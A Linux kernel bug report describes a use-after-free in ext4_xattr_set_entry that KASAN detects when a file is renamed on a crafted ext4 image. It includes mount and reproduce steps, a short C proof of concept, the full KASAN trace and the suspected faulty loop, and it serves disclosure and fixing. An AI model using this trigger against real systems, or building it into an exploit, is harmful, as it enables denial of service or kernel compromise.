- Overview use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image - Reproduce (KASAN build of ext4-dev branch) # mkdir mnt # mount -t 233.img mnt # gcc -o poc poc.c # ./poc ./mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/falloc.h> #include <linux/loop.h> static void activity(char *mpoint) { char *foo_bar_baz; char *foo_baz; int err; err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint); err = asprintf(&foo_baz, "%s/foo/baz", mpoint); rename(foo_bar_baz, foo_baz); } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel Message [ 356.651148] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null) [ 359.753782] ================================================================== [ 359.755524] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x4c2/0x1860 [ 359.757012] Read of size 4 at addr ffff8801f3593aa4 by task a.out/1376 [ 359.758741] CPU: 0 PID: 1376 Comm: a.out Not tainted 4.17.0-rc4+ #5 [ 359.758744] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 359.758753] Call Trace: [ 359.758794] dump_stack+0x7b/0xb5 [ 359.758831] print_address_description+0x70/0x290 [ 359.758837] kasan_report+0x291/0x390 [ 359.758842] ? ext4_xattr_set_entry+0x4c2/0x1860 [ 359.758848] __asan_load4+0x78/0x80 [ 359.758853] ext4_xattr_set_entry+0x4c2/0x1860 [ 359.758863] ? ext4_rename+0xcc6/0xd00 [ 359.758867] ? ext4_rename2+0xa6/0x100 [ 359.758884] ? vfs_rename+0xaa5/0xde0 [ 359.758889] ? do_renameat2+0x7d2/0x860 [ 359.758893] ? __x64_sys_rename+0x3b/0x50 [ 359.758916] ? do_syscall_64+0x78/0x170 [ 359.758931] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 359.758939] ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0 [ 359.758943] ? kasan_check_write+0x14/0x20 [ 359.758957] ? __brelse+0x4f/0x60 [ 359.758968] ? do_get_write_access+0x5ac/0x6a0 [ 359.758974] ? apic_timer_interrupt+0xa/0x20 [ 359.758982] ? __memcpy+0x12/0x20 [ 359.758986] ext4_xattr_block_set+0x5d3/0x1820 [ 359.758991] ? __x64_sys_renameat+0x70/0x70 [ 359.758998] ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0 [ 359.759003] ? ext4_xattr_inode_array_free+0x60/0x60 [ 359.759013] ? __find_get_block+0x106/0x400 [ 359.759018] ? _cond_resched+0x1a/0x50 [ 359.759022] ? _cond_resched+0x1a/0x50 [ 359.759026] ? __getblk_gfp+0x31/0x3f0 [ 359.759031] ? strlen+0x25/0x40 [ 359.759035] ? xattr_find_entry+0x8a/0x140 [ 359.759041] ? ext4_xattr_block_find.isra.22+0x19e/0x2c0 [ 359.759046] ext4_expand_extra_isize_ea+0x89d/0xcb0 [ 359.759052] ? ext4_xattr_set+0x200/0x200 [ 359.759056] ? __getblk_gfp+0x31/0x3f0 [ 359.759061] ? ext4_xattr_check_entries+0x116/0x150 [ 359.759071] ? kasan_check_write+0x14/0x20 [ 359.759084] __ext4_expand_extra_isize+0xd4/0x100 [ 359.759090] ext4_mark_inode_dirty+0x3a8/0x3d0 [ 359.759095] ? ext4_expand_extra_isize+0x2e0/0x2e0 [ 359.759106] ? __ext4_check_dir_entry+0xc4/0x200 [ 359.759112] ? kasan_check_write+0x14/0x20 [ 359.759117] ext4_delete_inline_entry+0x1fa/0x300 [ 359.759122] ? ext4_find_inline_entry+0x240/0x240 [ 359.759127] ? ext4_expand_extra_isize+0x2e0/0x2e0 [ 359.759131] ext4_delete_entry+0xcc/0x270 [ 359.759135] ? ext4_generic_delete_entry+0x1f0/0x1f0 [ 359.759139] ? strncmp+0x71/0xc0 [ 359.759143] ext4_rename+0xcc6/0xd00 [ 359.759148] ? __x64_sys_rename+0x3b/0x50 [ 359.759152] ? ext4_tmpfile+0x2d0/0x2d0 [ 359.759155] ? ext4_find_entry+0x17d/0x770 [ 359.759161] ? ext4_dx_find_entry+0x2c0/0x2c0 [ 359.759166] ? kasan_check_write+0x14/0x20 [ 359.759190] ? lockref_get+0xc2/0x140 [ 359.759195] ext4_rename2+0xa6/0x100 [ 359.759200] vfs_rename+0xaa5/0xde0 [ 359.759209] ? memcg_kmem_put_cache+0x55/0xa0 [ 359.759216] ? path_mountpoint+0x5b0/0x5b0 [ 359.759219] ? kasan_check_write+0x14/0x20 [ 359.759240] ? security_path_rename+0xcb/0x130 [ 359.759245] do_renameat2+0x7d2/0x860 [ 359.759252] ? user_path_create+0x40/0x40 [ 359.759264] ? __vma_link_rb+0x12a/0x160 [ 359.759277] ? userfaultfd_unmap_complete+0x9c/0x1d0 [ 359.759283] ? handle_mm_fault+0x24b/0x380 [ 359.759298] ? mm_fault_error+0x1f0/0x1f0 [ 359.759303] ? vm_brk+0x20/0x20 [ 359.759309] __x64_sys_rename+0x3b/0x50 [ 359.759313] do_syscall_64+0x78/0x170 [ 359.759319] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 359.759335] RIP: 0033:0x7f17dba1a367 [ 359.759338] RSP: 002b:00007fffbc1f6148 EFLAGS: 00000206 ORIG_RAX: 0000000000000052 [ 359.759348] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f17dba1a367 [ 359.759350] RDX: 00000000023230a0 RSI: 00000000023230a0 RDI: 0000000002323080 [ 359.759353] RBP: 00007fffbc1f6180 R08: 0000000002323010 R09: 0000000000000000 [ 359.759355] R10: 0000000000000640 R11: 0000000000000206 R12: 00000000004004e0 [ 359.759358] R13: 00007fffbc1f6280 R14: 0000000000000000 R15: 0000000000000000 [ 359.759705] Allocated by task 939: [ 359.760457] save_stack+0x46/0xd0 [ 359.760461] kasan_kmalloc+0xad/0xe0 [ 359.760466] kmem_cache_alloc_trace+0x102/0x200 [ 359.760482] do_syslog+0x1f1/0x680 [ 359.760494] kmsg_read+0x52/0x70 [ 359.760499] proc_reg_read+0x92/0xd0 [ 359.760504] __vfs_read+0xe7/0x3e0 [ 359.760508] vfs_read+0xbf/0x1b0 [ 359.760511] ksys_read+0xb4/0x140 [ 359.760514] __x64_sys_read+0x43/0x50 [ 359.760518] do_syscall_64+0x78/0x170 [ 359.760523] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 359.760863] Freed by task 939: [ 359.761522] save_stack+0x46/0xd0 [ 359.761526] __kasan_slab_free+0x13c/0x1a0 [ 359.761530] kasan_slab_free+0xe/0x10 [ 359.761533] kfree+0x8c/0x1c0 [ 359.761536] do_syslog+0x5e7/0x680 [ 359.761540] kmsg_read+0x52/0x70 [ 359.761544] proc_reg_read+0x92/0xd0 [ 359.761547] __vfs_read+0xe7/0x3e0 [ 359.761550] vfs_read+0xbf/0x1b0 [ 359.761554] ksys_read+0xb4/0x140 [ 359.761557] __x64_sys_read+0x43/0x50 [ 359.761561] do_syscall_64+0x78/0x170 [ 359.761565] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 359.761914] The buggy address belongs to the object at ffff8801f3593a80 which belongs to the cache kmalloc-1024 of size 1024 [ 359.764559] The buggy address is located 36 bytes inside of 1024-byte region [ffff8801f3593a80, ffff8801f3593e80) [ 359.766971] The buggy address belongs to the page: [ 359.768001] page:ffffea0007cd6400 count:1 mapcount:0 mapping:0000000000000000 index:0x0 compound_mapcount: 0 [ 359.770059] flags: 0x2ffff0000008100(slab|head) [ 359.771020] raw: 02ffff0000008100 0000000000000000 0000000000000000 00000001800e000e [ 359.772649] raw: ffffea0007b5be00 0000000200000002 ffff8801f6c02c40 0000000000000000 [ 359.774258] page dumped because: kasan: bad access detected [ 359.775760] Memory state around the buggy address: [ 359.776775] ffff8801f3593980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 359.778270] ffff8801f3593a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 359.779764] >ffff8801f3593a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.781277] ^ [ 359.782181] ffff8801f3593b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.783683] ffff8801f3593b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.793072] ================================================================== [ 359.794584] Disabling lock debugging due to kernel taint [ 359.795898] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1970234923 err=-117 [ 359.836553] EXT4-fs warning (device loop0): ext4_expand_extra_isize_ea:2791: Unable to expand inode 13. Delete some EAs or run e2fsck. - Reason https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/xattr.c#L1597 /* Compute min_offs and last. */ last = s->first; for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) { if (!last->e_value_inum && last->e_value_size) { size_t offs = le16_to_cpu(last->e_value_offs); if (offs < min_offs) min_offs = offs; } } In this loop, a dangling `last` is accessed based on KASAN report. Multiple tries may be required to reproduce the bug. Based on the KASAN report and POC code, I report this bug separately, different from https://bugzilla.kernel.org/show_bug.cgi?id=199997 (ext4: use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image) I reported before. Reported by Wen Xu (wen.xu@xxxxxxxxxx) from SSLab at Gatech. Files: 233.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276405 Thanks, Wen